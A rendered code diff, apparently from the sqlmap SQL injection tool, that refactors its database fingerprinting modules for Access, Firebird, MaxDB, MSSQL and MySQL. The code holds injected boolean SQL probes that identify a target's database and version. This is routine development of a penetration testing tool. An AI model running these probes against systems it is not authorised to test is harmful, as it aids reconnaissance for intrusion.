retVal = "not sandboxed" if result else "sandboxed"
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
@ -55,30 +55,37 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
# Microsoft Access table reference updated on 01/2010
|
# Microsoft Access table reference updated on 01/2010
|
||||||
sysTables = {
|
sysTables = {
|
||||||
"97": ("MSysModules2", "MSysAccessObjects"),
|
"97": ("MSysModules2", "MSysAccessObjects"),
|
||||||
"2000" : ("!MSysModules2", "MSysAccessObjects"),
|
"2000" : ("!MSysModules2", "MSysAccessObjects"),
|
||||||
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
|
"2002-2003" : ("MSysAccessStorage", "!MSysNavPaneObjectIDs"),
|
||||||
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs")
|
"2007" : ("MSysAccessStorage", "MSysNavPaneObjectIDs")
|
||||||
}
|
}
|
||||||
# MSysAccessXML is not a reliable system table because it doesn't always exist
|
# MSysAccessXML is not a reliable system table because it doesn't always exist
|
||||||
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
|
# ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty")
|
||||||
|
|
||||||
for version, tables in sysTables.items():
|
for version, tables in sysTables.items():
|
||||||
exist = True
|
exist = True
|
||||||
|
|
||||||
for table in tables:
|
for table in tables:
|
||||||
negate = False
|
negate = False
|
||||||
|
|
||||||
if table[0] == '!':
|
if table[0] == '!':
|
||||||
negate = True
|
negate = True
|
||||||
table = table[1:]
|
table = table[1:]
|
||||||
|
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt))
|
result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE %d=%d)" % (table, randInt, randInt))
|
||||||
if result is None:
|
if result is None:
|
||||||
result = False
|
result = False
|
||||||
|
|
||||||
if negate:
|
if negate:
|
||||||
result = not result
|
result = not result
|
||||||
|
|
||||||
exist &= result
|
exist &= result
|
||||||
|
|
||||||
if not exist:
|
if not exist:
|
||||||
break
|
break
|
||||||
|
|
||||||
if exist:
|
if exist:
|
||||||
return version
|
return version
|
||||||
|
|
||||||
|
@ -108,13 +115,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -122,7 +129,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
value += "Microsoft Access"
|
value += DBMS.ACCESS
|
||||||
return value
|
return value
|
||||||
|
|
||||||
actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck())
|
actVer = formatDBMSfp() + " (%s)" % (self.__sandBoxCheck())
|
||||||
|
@ -138,7 +145,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
banVer = formatDBMSfp([banVer])
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -148,37 +155,43 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES:
|
if not conf.extensiveFp and (backend.isDbmsWithin(ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES):
|
||||||
setDbms(DBMS.ACCESS)
|
setDbms(DBMS.ACCESS)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
logMsg = "testing Microsoft Access"
|
logMsg = "testing %s" % DBMS.ACCESS
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("VAL(CVAR(1))=1")
|
result = inject.checkBooleanExpression("VAL(CVAR(1))=1")
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
logMsg = "confirming Microsoft Access"
|
logMsg = "confirming %s" % DBMS.ACCESS
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
|
result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0")
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not Microsoft Access"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
setDbms("Microsoft Access")
|
setDbms(DBMS.ACCESS)
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
kb.dbmsVersion = [self.__sysTablesCheck()]
|
infoMsg = "actively fingerprinting %s" % DBMS.ACCESS
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
version = self.__sysTablesCheck()
|
||||||
|
|
||||||
|
if version is not None:
|
||||||
|
backend.setVersion(version)
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not Microsoft Access"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -10,10 +10,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import getIdentifiedDBMS
|
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
|
@ -35,13 +33,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -65,7 +63,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
banVer = formatDBMSfp([banVer])
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -84,13 +82,15 @@ class Fingerprint(GenericFingerprint):
|
||||||
for i in xrange(len(table)):
|
for i in xrange(len(table)):
|
||||||
version, checks = table[i]
|
version, checks = table[i]
|
||||||
failed = False
|
failed = False
|
||||||
check = checks[randomRange(0,len(checks)-1)].replace("%d", getUnicode(randomRange(1,100)))
|
check = checks[randomRange(0, len(checks)-1)].replace("%d", getUnicode(randomRange(1,100)))
|
||||||
result = inject.checkBooleanExpression(check)
|
result = inject.checkBooleanExpression(check)
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
retVal = version
|
retVal = version
|
||||||
else:
|
else:
|
||||||
failed = True
|
failed = True
|
||||||
break
|
break
|
||||||
|
|
||||||
if failed:
|
if failed:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -99,14 +99,14 @@ class Fingerprint(GenericFingerprint):
|
||||||
def __dialectCheck(self):
|
def __dialectCheck(self):
|
||||||
retVal = None
|
retVal = None
|
||||||
|
|
||||||
if getIdentifiedDBMS():
|
if backend.getIdentifiedDbms():
|
||||||
result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
|
result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_DATE FROM RDB$DATABASE)")
|
||||||
retVal = "dialect 3" if result else "dialect 1"
|
retVal = "dialect 3" if result else "dialect 1"
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES:
|
if not conf.extensiveFp and (backend.isDbmsWithin(FIREBIRD_ALIASES) or conf.dbms in FIREBIRD_ALIASES):
|
||||||
setDbms(DBMS.FIREBIRD)
|
setDbms(DBMS.FIREBIRD)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
@ -114,33 +114,39 @@ class Fingerprint(GenericFingerprint):
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
logMsg = "testing Firebird"
|
logMsg = "testing %s" % DBMS.FIREBIRD
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))
|
result = inject.checkBooleanExpression("EXISTS(SELECT * FROM RDB$DATABASE WHERE %d=%d)" % (randInt, randInt))
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
logMsg = "confirming Firebird"
|
logMsg = "confirming %s" % DBMS.FIREBIRD
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")
|
result = inject.checkBooleanExpression("EXISTS(SELECT CURRENT_USER FROM RDB$DATABASE)")
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not Firebird"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
setDbms(DBMS.FIREBIRD)
|
setDbms(DBMS.FIREBIRD)
|
||||||
|
|
||||||
kb.dbmsVersion = [self.__sysTablesCheck()]
|
infoMsg = "actively fingerprinting %s" % DBMS.FIREBIRD
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
version = self.__sysTablesCheck()
|
||||||
|
|
||||||
|
if version is not None:
|
||||||
|
backend.setVersion(version)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not Firebird"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.FIREBIRD
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomRange
|
from lib.core.common import randomRange
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -32,7 +31,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
GenericFingerprint.__init__(self, DBMS.MAXDB)
|
GenericFingerprint.__init__(self, DBMS.MAXDB)
|
||||||
|
|
||||||
def __versionCheck(self):
|
def __versionCheck(self):
|
||||||
infoMsg = "executing SAP MaxDB SYSINFO version check"
|
infoMsg = "executing %s SYSINFO version check" % DBMS.MAXDB
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
query = agent.prefixQuery("/* NoValue */")
|
query = agent.prefixQuery("/* NoValue */")
|
||||||
|
@ -41,7 +40,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "unable to perform SAP MaxDB version check"
|
warnMsg = "unable to perform %s version check" % DBMS.MAXDB
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
@ -67,13 +66,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -92,7 +91,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
value += "\n%sbanner parsing fingerprint: -" % blank
|
value += "\n%sbanner parsing fingerprint: -" % blank
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -100,27 +99,27 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and (kb.dbms is not None and kb.dbms.lower() in MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES:
|
if not conf.extensiveFp and (backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES):
|
||||||
setDbms(DBMS.MAXDB)
|
setDbms(DBMS.MAXDB)
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
logMsg = "testing SAP MaxDB"
|
logMsg = "testing %s" % DBMS.MAXDB
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
result = inject.checkBooleanExpression("%d=NOROUND(%d)" % (randInt, randInt))
|
result = inject.checkBooleanExpression("%d=NOROUND(%d)" % (randInt, randInt))
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
logMsg = "confirming SAP MaxDB"
|
logMsg = "confirming %s" % DBMS.MAXDB
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL")
|
result = inject.checkBooleanExpression("MAPCHAR(NULL,1,DEFAULTMAP) IS NULL")
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "the back-end DBMS is not SAP MaxDB"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
@ -129,12 +128,9 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
|
||||||
return True
|
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not SAP MaxDB"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.MAXDB
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -9,7 +9,7 @@ See the file 'doc/COPYING' for copying permission
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import arrayizeValue
|
from lib.core.common import arrayizeValue
|
||||||
from lib.core.common import getIdentifiedDBMS
|
from lib.core.common import backend
|
||||||
from lib.core.common import getRange
|
from lib.core.common import getRange
|
||||||
from lib.core.common import isNumPosStrValue
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import isTechniqueAvailable
|
from lib.core.common import isTechniqueAvailable
|
||||||
|
@ -41,7 +41,7 @@ class Enumeration(GenericEnumeration):
|
||||||
infoMsg += " for database '%s'" % conf.db
|
infoMsg += " for database '%s'" % conf.db
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
rootQuery = queries[getIdentifiedDBMS()].tables
|
rootQuery = queries[backend.getIdentifiedDbms()].tables
|
||||||
|
|
||||||
if not conf.db:
|
if not conf.db:
|
||||||
if not len(kb.data.cachedDbs):
|
if not len(kb.data.cachedDbs):
|
||||||
|
@ -111,7 +111,7 @@ class Enumeration(GenericEnumeration):
|
||||||
return kb.data.cachedTables
|
return kb.data.cachedTables
|
||||||
|
|
||||||
def searchTable(self):
|
def searchTable(self):
|
||||||
rootQuery = queries[getIdentifiedDBMS()].search_table
|
rootQuery = queries[backend.getIdentifiedDbms()].search_table
|
||||||
foundTbls = {}
|
foundTbls = {}
|
||||||
tblList = conf.tbl.split(",")
|
tblList = conf.tbl.split(",")
|
||||||
tblCond = rootQuery.inband.condition
|
tblCond = rootQuery.inband.condition
|
||||||
|
@ -195,7 +195,7 @@ class Enumeration(GenericEnumeration):
|
||||||
return foundTbls
|
return foundTbls
|
||||||
|
|
||||||
def searchColumn(self):
|
def searchColumn(self):
|
||||||
rootQuery = queries[getIdentifiedDBMS()].search_column
|
rootQuery = queries[backend.getIdentifiedDbms()].search_column
|
||||||
foundCols = {}
|
foundCols = {}
|
||||||
dbs = {}
|
dbs = {}
|
||||||
colList = conf.col.split(",")
|
colList = conf.col.split(",")
|
||||||
|
|
|
@ -8,9 +8,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -31,13 +30,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
@ -58,13 +57,13 @@ class Fingerprint(GenericFingerprint):
|
||||||
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
|
servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None
|
||||||
|
|
||||||
if release and version and servicepack:
|
if release and version and servicepack:
|
||||||
banVer = "Microsoft SQL Server %s " % release
|
banVer = "%s %s " % (DBMS.MSSQL, release)
|
||||||
banVer += "Service Pack %s " % servicepack
|
banVer += "Service Pack %s " % servicepack
|
||||||
banVer += "version %s" % version
|
banVer += "version %s" % version
|
||||||
|
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
htmlErrorFp = getErrorParsedDBMSesFormatted()
|
htmlErrorFp = format.getErrorParsedDBMSes()
|
||||||
|
|
||||||
if htmlErrorFp:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
@ -72,10 +71,10 @@ class Fingerprint(GenericFingerprint):
|
||||||
return value
|
return value
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
if not conf.extensiveFp and ((kb.dbms is not None and kb.dbms.lower() in MSSQL_ALIASES) \
|
if not conf.extensiveFp and (backend.isDbmsWithin(MSSQL_ALIASES) \
|
||||||
or conf.dbms in MSSQL_ALIASES) and kb.dbmsVersion and \
|
or conf.dbms in MSSQL_ALIASES) and backend.getVersion() and \
|
||||||
kb.dbmsVersion[0].isdigit():
|
backend.getVersion().isdigit():
|
||||||
setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0]))
|
setDbms("%s %s" % (DBMS.MSSQL, backend.getVersion()))
|
||||||
|
|
||||||
self.getBanner()
|
self.getBanner()
|
||||||
|
|
||||||
|
@ -83,7 +82,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
|
||||||
infoMsg = "testing Microsoft SQL Server"
|
infoMsg = "testing %s" % DBMS.MSSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
|
# NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not
|
||||||
|
@ -95,20 +94,19 @@ class Fingerprint(GenericFingerprint):
|
||||||
result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))
|
result = inject.checkBooleanExpression("BINARY_CHECKSUM(%d)=BINARY_CHECKSUM(%d)" % (randInt, randInt))
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
infoMsg = "confirming Microsoft SQL Server"
|
infoMsg = "confirming %s" % DBMS.MSSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for version, check in [\
|
for version, check in [ ("2000", "HOST_NAME()=HOST_NAME()"), \
|
||||||
("2000", "HOST_NAME()=HOST_NAME()"),\
|
("2005", "XACT_STATE()=XACT_STATE()"), \
|
||||||
("2005", "XACT_STATE()=XACT_STATE()"),\
|
("2008", "SYSDATETIME()=SYSDATETIME()") ]:
|
||||||
("2008", "SYSDATETIME()=SYSDATETIME()") ]:
|
|
||||||
result = inject.checkBooleanExpression(check)
|
result = inject.checkBooleanExpression(check)
|
||||||
|
|
||||||
if result:
|
if result:
|
||||||
kb.dbmsVersion = [version]
|
backend.setVersion(version)
|
||||||
|
|
||||||
if kb.dbmsVersion:
|
if backend.getVersion():
|
||||||
setDbms("%s %s" % (DBMS.MSSQL, kb.dbmsVersion[0]))
|
setDbms("%s %s" % (DBMS.MSSQL, backend.getVersion()))
|
||||||
else:
|
else:
|
||||||
setDbms(DBMS.MSSQL)
|
setDbms(DBMS.MSSQL)
|
||||||
|
|
||||||
|
@ -118,7 +116,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
warnMsg = "the back-end DBMS is not Microsoft SQL Server"
|
warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -10,9 +10,8 @@ See the file 'doc/COPYING' for copying permission
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import backend
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import format
|
||||||
from lib.core.common import getErrorParsedDBMSesFormatted
|
|
||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
@ -33,14 +32,14 @@ class Fingerprint(GenericFingerprint):
|
||||||
GenericFingerprint.__init__(self, DBMS.MYSQL)
|
GenericFingerprint.__init__(self, DBMS.MYSQL)
|
||||||
|
|
||||||
def __commentCheck(self):
|
def __commentCheck(self):
|
||||||
infoMsg = "executing MySQL comment injection fingerprint"
|
infoMsg = "executing %s comment injection fingerprint" % DBMS.MYSQL
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt))
|
result = inject.checkBooleanExpression("%d=%d/* NoValue */" % (randInt, randInt))
|
||||||
|
|
||||||
if not result:
|
if not result:
|
||||||
warnMsg = "unable to perform MySQL comment injection"
|
warnMsg = "unable to perform %s comment injection" % DBMS.MYSQL
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
@ -98,19 +97,19 @@ class Fingerprint(GenericFingerprint):
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = format.getOs("web server", kb.headersFp)
|
||||||
|
|
||||||
if wsOsFp:
|
if wsOsFp:
|
||||||
value += "%s\n" % wsOsFp
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
if kb.data.banner:
|
if kb.data.banner:
|
||||||
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
dbmsOsFp = format.getOs("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
if dbmsOsFp:
|
if dbmsOsFp:
|
||||||
value += "%s\n" % dbmsOsFp
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
value += "back-end DBMS: "
|
value += "back-end DBMS: "
|
||||||
actVer = formatDBMSfp()
|
actVer = format.getDbms()
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
value += actVer
|
value += actVer
|
||||||
|
@ -121,7 +120,7 @@ class Fingerprint(GenericFingerprint):
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
if comVer:
|
if comVer:
|
||||||
comVer = formatDBMSfp([comVer])
|
comVer = format.getDbms([comVer])
|
||||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||||
|
|
||||||
if kb.bannerFp:
|
if kb.bannerFp:
|
||||||
|
